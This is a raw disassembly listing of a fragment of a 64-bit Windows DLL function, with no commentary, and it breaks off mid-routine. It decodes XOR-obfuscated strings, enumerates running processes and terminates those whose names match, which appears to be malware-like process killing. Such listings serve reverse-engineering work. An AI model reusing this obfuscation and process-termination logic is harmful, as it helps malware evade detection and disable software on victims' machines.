shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x36
movzx eax, r8w
sub ax, cx
add ax, 0x32
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x13
jl 0x18001e200
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
mov qword [rbp - 0x50], r13
mov qword [rbp - 0x48], r13
lea rax, [rbp + 0x48]
mov r8, rsi
nop word [rax + rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x18001e250
lea rdx, [rbp + 0x48]
lea rcx, [rbp - 0x60]
call fcn.180006af0
nop
cmp qword [rbp - 0x50], 0
je 0x18001e53a
lea rdx, [rbp - 0x60]
lea rcx, [rsp + 0x40]
call fcn.1800053e0
nop
mov r8, rsi
lea rdx, [0x180156868]
lea rcx, [rsp + 0x40]
call fcn.1800050a0
cmp rax, 0xffffffffffffffff
je 0x18001e303
mov r8, rsi
lea rdx, [0x180156864]
lea rcx, [rsp + 0x40]
call fcn.1800050a0
mov rbx, qword [rsp + 0x50]
cmp rbx, rax
jb 0x18001ff5b
mov rcx, rbx
sub rcx, rax
mov rdx, rsi
cmp rcx, rdx
cmovb rdx, rcx
lea rcx, [rsp + 0x40]
cmp qword [rsp + 0x58], 8
cmovae rcx, qword [rsp + 0x40]
lea rcx, [rcx + rax*2]
sub rbx, rdx
lea rdx, [rcx + rdx*2]
mov r8, rbx
sub r8, rax
lea r8, [r8*2 + 2]
call fcn.1800bc4c0
mov qword [rsp + 0x50], rbx
lea rdx, str..exe
lea rcx, [rsp + 0x40]
call fcn.180007660
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
mov dword [rbp + 0x160], 0x238
lea rdx, [rbp + 0x160]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x18001e4f7
nop dword [rax]
nop dword [rax + rax]
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], r13
mov qword [rbp - 0x68], r13
lea rax, [rbp + 0x18c]
mov r8, rsi
nop dword [rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x18001e370
lea rdx, [rbp + 0x18c]
lea rcx, [rbp - 0x80]
call fcn.180006af0
lea rdx, [rbp - 0x80]
lea rcx, [rbp - 0x20]
call fcn.18009d6c0
mov rbx, rax
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x28]
call fcn.1800053e0
mov rdx, rax
lea rcx, [rbp - 0x40]
call fcn.18009d6c0
mov r10, qword [rax + 0x10]
cmp qword [rax + 0x18], 8
jb 0x18001e3c3
mov rax, qword [rax]
mov r9, qword [rbx + 0x10]
cmp qword [rbx + 0x18], 8
jb 0x18001e3d1
mov rbx, qword [rbx]
mov rcx, r9
cmp r10, r9
cmovb rcx, r10
test rcx, rcx
je 0x18001e3f6
sub rbx, rax
movzx edx, word [rbx + rax]
cmp dx, word [rax]
jne 0x18001e3ff
add rax, 2
sub rcx, 1
jne 0x18001e3e3
cmp r9, r10
jae 0x18001e407
mov ebx, esi
jmp 0x18001e40d
mov ebx, r14d
cmovb ebx, esi
jmp 0x18001e40d
mov ebx, r13d
seta bl
mov rdx, qword [rbp - 0x28]
cmp rdx, 8
jb 0x18001e44d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001e448
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001ff61
call fcn.1800b9f6c
mov qword [rbp - 0x30], r13
mov qword [rbp - 0x28], 7
mov word [rbp - 0x40], r13w
mov rdx, qword [rbp - 8]
cmp rdx, 8
jb 0x18001e49e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001e499
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001ff67
call fcn.1800b9f6c
test ebx, ebx
je 0x18001e4bc
lea rdx, [rbp + 0x160]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x18001e350
jmp 0x18001e4f7
mov r8d, dword [rbp + 0x168]
xor edx, edx
mov ecx, r14d
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x18001e4ed
mov edx, 9
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x18001e53a
mov rcx, qword [rsp + 0x40]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001e534
mov rcx, qword [rcx - 8]
sub rax, rcx
add rdx, 0x27
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001ff6d
call fcn.1800b9f6c
nop
mov rdx, qword [rbp - 0x48]
cmp rdx, 8
jb 0x18001e57a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001e575
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001ffaf
call fcn.1800b9f6c
movups xmm0, xmmword [str.AGQT_]
movups xmmword [rsp + 0x60], xmm0
mov eax, dword [0x180157c50]
mov dword [rsp + 0x70], eax
cmp word [0x180157c52], 0
je 0x18001e5da
mov eax, reloc.WS2_32.dll_WSAStartup
mov word [rsp + 0x60], ax
xor word [rsp + 0x62], 0x33
xor word [rsp + 0x64], 0x34
xor word [rsp + 0x66], 0x35
xor word [rsp + 0x68], 0x36
xor word [rsp + 0x6a], 0x37
xor word [rsp + 0x6c], 0x38
xor word [rsp + 0x6e], 0x39
xor word [rsp + 0x70], 0x3a
xor word [rsp + 0x72], 0x3b
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], r13
mov qword [rbp - 0x68], r13
lea rax, [rsp + 0x60]
mov r8, rsi
inc r8
cmp word [rax + r8*2], 0
jne 0x18001e5f1
lea rdx, [rsp + 0x60]
lea rcx, [rbp - 0x80]
call fcn.180006af0
nop
or r15d, 1
mov dword [rbp + 0x710], r15d
lea rcx, [rbp - 0x80]
call fcn.1800a11a0
test al, al
jne 0x18001f0a8
movups xmm0, xmmword [0x180157c90]
movups xmmword [rbp], xmm0
movups xmm1, xmmword [0x180157ca0]
movups xmmword [rbp + 0x10], xmm1
movzx eax, word [0x180157cb0]
mov word [rbp + 0x20], ax
mov r8d, r13d
cmp r12d, 2
jl 0x18001e77f
movdqa xmm5, xmmword [0x18015bd60]
movdqa xmm4, xmmword [0x18015bf40]
mov eax, 4
movd xmm6, eax
movdqa xmm7, xmmword [0x18015bdc0]
mov eax, 0x1f
movd xmm8, eax
movdqa xmm9, xmmword [str.222222223333333388888888]
lea rcx, [rbp]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm9
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm9
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add r8d, 8
lea rcx, [rcx + 0x10]
cmp r8d, 0x10
jl 0x18001e690
cmp r8d, 0x11
jge 0x18001e7c4
movsxd rax, r8d
lea r9, [rbp]
lea r9, [r9 + rax*2]
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x36
movzx eax, r8w
sub ax, cx
add ax, 0x32
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x11
jl 0x18001e790
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
mov qword [rbp - 0x30], r13
mov qword [rbp - 0x28], r13
lea rax, [rbp]
mov r8, rsi
nop word [rax + rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x18001e7e0
lea rdx, [rbp]
lea rcx, [rbp - 0x40]
call fcn.180006af0
nop
or r15d, 2
mov dword [rbp + 0x710], r15d
cmp qword [rbp - 0x30], 0
je 0x18001eaf3
lea rdx, [rbp - 0x40]
lea rcx, [rsp + 0x40]
call fcn.1800053e0
nop
mov r8, rsi
lea rdx, [0x180156854]
lea rcx, [rsp + 0x40]
call fcn.1800050a0
cmp rax, 0xffffffffffffffff
je 0x18001e89e
mov r8, rsi
lea rdx, [0x18015687c]
lea rcx, [rsp + 0x40]
call fcn.1800050a0
mov rbx, qword [rsp + 0x50]
cmp rbx, rax
jb 0x18001ff73
mov rcx, rbx
sub rcx, rax
mov rdx, rsi
cmp rcx, rdx
cmovb rdx, rcx
lea rcx, [rsp + 0x40]
cmp qword [rsp + 0x58], 8
cmovae rcx, qword [rsp + 0x40]
lea rcx, [rcx + rax*2]
sub rbx, rdx
lea rdx, [rcx + rdx*2]
mov r8, rbx
sub r8, rax
lea r8, [r8*2 + 2]
call fcn.1800bc4c0
mov qword [rsp + 0x50], rbx
lea rdx, [0x180156870]
lea rcx, [rsp + 0x40]
call fcn.180007660
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
mov dword [rbp + 0x160], 0x238
lea rdx, [rbp + 0x160]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
jne 0x18001e930
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x18001eaf3
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001eaee
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001fefb
jmp 0x18001eaee
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], r13
mov qword [rsp + 0x78], r13
lea rax, [rbp + 0x18c]
mov r8, rsi
nop dword [rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x18001e950
lea rdx, [rbp + 0x18c]
lea rcx, [rsp + 0x60]
call fcn.180006af0
lea rdx, [rsp + 0x60]
lea rcx, [rbp - 0x20]
call fcn.18009d6c0
mov rbx, rax
lea rdx, [rsp + 0x40]
lea rcx, [rbp]
call fcn.1800053e0
mov rdx, rax
lea rcx, [rbp + 0x28]
call fcn.18009d6c0
mov r10, qword [rax + 0x10]
cmp qword [rax + 0x18], 8
jb 0x18001e9a5
mov rax, qword [rax]
mov r9, qword [rbx + 0x10]
cmp qword [rbx + 0x18], 8
jb 0x18001e9b3
mov rbx, qword [rbx]
mov rcx, r9
cmp r10, r9
cmovb rcx, r10
test rcx, rcx
je 0x18001e9d8
sub rbx, rax
movzx edx, word [rax + rbx]
cmp dx, word [rax]
jne 0x18001e9e1
add rax, 2
sub rcx, 1
jne 0x18001e9c5
cmp r9, r10
jae 0x18001e9e9
mov ebx, esi
jmp 0x18001e9ef
mov ebx, r14d
cmovb ebx, esi
jmp 0x18001e9ef
mov ebx, r13d
seta bl
mov rdx, qword [rbp + 0x40]
cmp rdx, 8
jb 0x18001ea2f
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001ea2a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001ff79
call fcn.1800b9f6c
mov qword [rbp + 0x38], r13
mov qword [rbp + 0x40], 7
mov word [rbp + 0x28], r13w
mov rdx, qword [rbp - 8]
cmp rdx, 8
jb 0x18001ea80
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001ea7b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001ff7f
call fcn.1800b9f6c
mov qword [rbp - 0x10], r13
mov qword [rbp - 8], 7
mov word [rbp - 0x20], r13w
test ebx, ebx
je 0x18001f03c
lea rdx, [rbp + 0x160]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x18001e930
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x18001eaf3
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001eaee
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001ff9d
call fcn.1800b9f6c
mov eax, dword [0x180157c88]
mov dword [rbp + 0x68], eax
movups xmm0, xmmword [0x180157c68]
movups xmm1, xmmword [0x180157c78]
movzx eax, word [0x180157c8c]
movups xmmword [rbp + 0x48], xmm0
movups xmmword [rbp + 0x58], xmm1
mov word [rbp + 0x6c], ax
mov r8d, r13d
cmp r12d, 2
jl 0x18001ec51
movdqa xmm5, xmmword [0x18015bd60]
movdqa xmm4, xmmword [0x18015bf40]
mov eax, 4
movd xmm6, eax
movdqa xmm7, xmmword [0x18015bdc0]
mov eax, 0x1f
movd xmm8, eax
movdqa xmm9, xmmword [str.222222223333333388888888]
lea rcx, [rbp + 0x48]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm9
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm9
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add r8d, 8
lea rcx, [rcx + 0x10]
cmp r8d, 0x10
jl 0x18001eb62
cmp r8d, 0x13
jge 0x18001ec94
movsxd rax, r8d
lea r9, [rbp + 0x48]
lea r9, [r9 + rax*2]
nop dword [rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x36
movzx eax, r8w
sub ax, cx
add ax, 0x32
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x13
jl 0x18001ec60
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
mov qword [rbp - 0x50], r13
mov qword [rbp - 0x48], r13
lea rax, [rbp + 0x48]
mov r8, rsi
nop word [rax + rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x18001ecb0
lea rdx, [rbp + 0x48]
lea rcx, [rbp - 0x60]
call fcn.180006af0
nop
or r15d, 4
mov dword [rbp + 0x710], r15d
cmp qword [rbp - 0x50], 0
je 0x18001eded
lea rdx, [rbp - 0x60]
lea rcx, [rsp + 0x40]
call fcn.1800053e0
nop
mov r8, rsi
lea rdx, [0x180156854]
lea rcx, [rsp + 0x40]
call fcn.1800050a0
cmp rax, 0xffffffffffffffff
je 0x18001ed6e
mov r8, rsi
lea rdx, [0x18015687c]
lea rcx, [rsp + 0x40]
call fcn.1800050a0
mov rbx, qword [rsp + 0x50]
cmp rbx, rax
jb 0x18001ff85
mov rcx, rbx
sub rcx, rax
mov rdx, rsi
cmp rcx, rdx
cmovb rdx, rcx
lea rcx, [rsp + 0x40]
cmp qword [rsp + 0x58], 8
cmovae rcx, qword [rsp + 0x40]
lea rcx, [rcx + rax*2]
sub rbx, rdx
lea rdx, [rcx + rdx*2]
mov r8, rbx
sub r8, rax
lea r8, [r8*2 + 2]
call fcn.1800bc4c0
mov qword [rsp + 0x50], rbx
lea rdx, [0x180156870]
lea rcx, [rsp + 0x40]
call fcn.180007660
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
mov dword [rbp + 0x160], 0x238
lea rdx, [rbp + 0x160]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
jne 0x18001ee00
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x18001eded
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001ede8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001ff8b
call fcn.1800b9f6c
mov bl, 1
jmp 0x18001f0aa
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
mov qword [rbp - 0x10], r13
mov qword [rbp - 8], r13
lea rax, [rbp + 0x18c]
mov r8, rsi
nop dword [rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x18001ee20
lea rdx, [rbp + 0x18c]
lea rcx, [rbp - 0x20]
call fcn.180006af0
lea rdx, [rbp - 0x20]
lea rcx, [rsp + 0x60]
call fcn.18009d6c0
mov rbx, rax
lea rdx, [rsp + 0x40]
lea rcx, [rbp]
call fcn.1800053e0
mov rdx, rax
lea rcx, [rbp + 0x28]
call fcn.18009d6c0
mov r10, qword [rax + 0x10]
cmp qword [rax + 0x18], 8
jb 0x18001ee74
mov rax, qword [rax]
mov r9, qword [rbx + 0x10]
cmp qword [rbx + 0x18], 8
jb 0x18001ee82
mov rbx, qword [rbx]
mov rcx, r9
cmp r10, r9
cmovb rcx, r10
test rcx, rcx
je 0x18001eea7
sub rbx, rax
movzx edx, word [rax + rbx]
cmp dx, word [rax]
jne 0x18001eeb0
add rax, 2
sub rcx, 1
jne 0x18001ee94
cmp r9, r10
jae 0x18001eeb8
mov ebx, esi
jmp 0x18001eebe
mov ebx, r14d
cmovb ebx, esi
jmp 0x18001eebe
mov ebx, r13d
seta bl
mov rdx, qword [rbp + 0x40]
cmp rdx, 8
jb 0x18001eefe
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001eef9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001ff91
call fcn.1800b9f6c
mov qword [rbp + 0x38], r13
mov qword [rbp + 0x40], 7
mov word [rbp + 0x28], r13w
mov rdx, qword [rsp + 0x78]
cmp rdx, 8
jb 0x18001ef51
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001ef4c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001ff97
call fcn.1800b9f6c
mov qword [rsp + 0x70], r13
mov qword [rsp + 0x78], 7
mov word [rsp + 0x60], r13w
test ebx, ebx
je 0x18001efcb
lea rdx, [rbp + 0x160]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x18001ee00
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x18001eded
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001ede8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001ff01
jmp 0x18001ede8
mov r8d, dword [rbp + 0x168]
xor edx, edx
lea ecx, [rdx + 0x10]
call qword [sym.imp.KERNEL32.dll_OpenProcess]
test rax, rax
je 0x18001efeb
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x18001f0a8
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001f0a3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001ff01
jmp 0x18001f0a3
mov r8d, dword [rbp + 0x168]
xor edx, edx
lea ecx, [rdx + 0x10]
call qword [sym.imp.KERNEL32.dll_OpenProcess]
test rax, rax
je 0x18001f05c
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x18001f0a8
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001f0a3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001ff9d
call fcn.1800b9f6c
xor bl, bl
test r15b, 4
je 0x18001f0f5
and r15d, 0xfffffffb
mov rdx, qword [rbp - 0x48]
cmp rdx, 8
jb 0x18001f0f5
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001f0ef
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001ffa3
call fcn.1800b9f6c
nop
test r15b, 2
je 0x18001f140
and r15d, 0xfffffffd
mov rdx, qword [rbp - 0x28]
cmp rdx, 8
jb 0x18001f140
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001f13a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001ffa9
call fcn.1800b9f6c
nop
test r15b, 1
je 0x18001f18a
and r15d, 0xfffffffe
mov rdx, qword [rbp - 0x68]
cmp rdx, 8
jb 0x18001f18a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001f185
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001ffaf
call fcn.1800b9f6c
test bl, bl
jne 0x18001f2af
call fcn.1800b8048
mov rbx, rax
call fcn.1800b802c
cmp rbx, 0x989680
jne 0x18001f1ae
imul rax, rax, 0x64
jmp 0x18001f1cc
cqo
idiv rbx
mov rcx, rax
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
imul rcx, rcx, 0x3b9aca00
add rax, rcx
movabs rcx, 0x7ffffffffa0a1efe
cmp rax, rcx
lea rdi, [rax + 0x5f5e100]
jle 0x18001f1f0
movabs rdi, 0x7fffffffffffffff
nop dword [rax]
call fcn.1800b8048
mov rbx, rax
call fcn.1800b802c
cmp rbx, 0x989680
jne 0x18001f20c
imul rax, rax, 0x64
jmp 0x18001f22a
cqo
idiv rbx
mov rcx, rax
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
imul rcx, rcx, 0x3b9aca00
add rax, rcx
cmp rdi, rax
mov ebx, 4
je 0x18001d362
jl 0x18001d362
mov rbx, rdi
sub rbx, rax
call fcn.1800b817c
imul rcx, rax, 0x64
xorps xmm0, xmm0
cvtsi2sd xmm0, rbx
comisd xmm0, xmm10
jbe 0x18001f26b
movabs rax, 0x311cdad160000
add rcx, rax
jmp 0x18001f26e
add rcx, rbx
movabs rax, 0x112e0be826d694b3
imul rcx
sar rdx, 0x1a
mov rax, rdx
shr rax, 0x3f
add rdx, rax
mov qword [rbp + 0xb0], rdx
imul eax, edx, 0x3b9aca00
sub ecx, eax
mov dword [rbp + 0xb8], ecx
lea rcx, [rbp + 0xb0]
call fcn.1800b81ac
jmp 0x18001f1f0
lea rax, [rsp + 0x40]
mov qword [rbp + 0x710], rax
movups xmm0, xmmword [0x180157cb8]
movups xmmword [rsp + 0x60], xmm0
movzx eax, word [0x180157cc8]
mov ecx, 0x2d
mov word [rsp + 0x60], cx
xor word [rsp + 0x62], 0x33
xor word [rsp + 0x64], 0x34
xor word [rsp + 0x66], 0x35
xor word [rsp + 0x68], 0x36
xor word [rsp + 0x6a], 0x37
xor word [rsp + 0x6c], 0x38
xor word [rsp + 0x6e], 0x39
xor ax, 0x3a
mov word [rsp + 0x70], ax
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], r13
mov qword [rbp - 0x68], r13
lea rax, [rsp + 0x60]
mov r8, rsi
inc r8
cmp word [rax + r8*2], 0
jne 0x18001f322
lea rdx, [rsp + 0x60]
lea rcx, [rbp - 0x80]
call fcn.180006af0
nop
lea rax, [rbp - 0x80]
mov qword [rsp + 0x60], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x68], rax
movaps xmm0, xmmword [rsp + 0x60]
movdqa xmmword [rsp + 0x60], xmm0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x40]
call fcn.1800117c0
mov rbx, rax
lea rdx, [rbp + 0x118]
lea rcx, [rbp]
call fcn.1800053e0
nop
lea r8, [rbp + 0xc0]
mov rdx, rbx
mov rcx, rax
call fcn.1800a0f30
movzx ebx, al
lea r9, [fcn.180005250]
mov r8, r14
mov edx, 0x20
lea rcx, [rbp - 0x80]
call fcn.1800b9fa0
test bl, bl
jne 0x18001f3cc
mov rcx, qword [rbp + 0xc0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0xc8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x18001fc5f
movups xmm0, xmmword [0x180157c90]
movups xmmword [rbp], xmm0
movups xmm1, xmmword [0x180157ca0]
movups xmmword [rbp + 0x10], xmm1
movzx eax, word [0x180157cb0]
mov word [rbp + 0x20], ax
mov r8d, r13d
mov r15d, 4
cmp r12d, 2
jl 0x18001f52f
movdqa xmm5, xmmword [0x18015bd60]
movdqa xmm4, xmmword [0x18015bf40]
movd xmm6, r15d
movdqa xmm7, xmmword [0x18015bdc0]
mov eax, 0x1f
movd xmm8, eax
movdqa xmm9, xmmword [str.222222223333333388888888]
lea rcx, [rbp]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm9
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
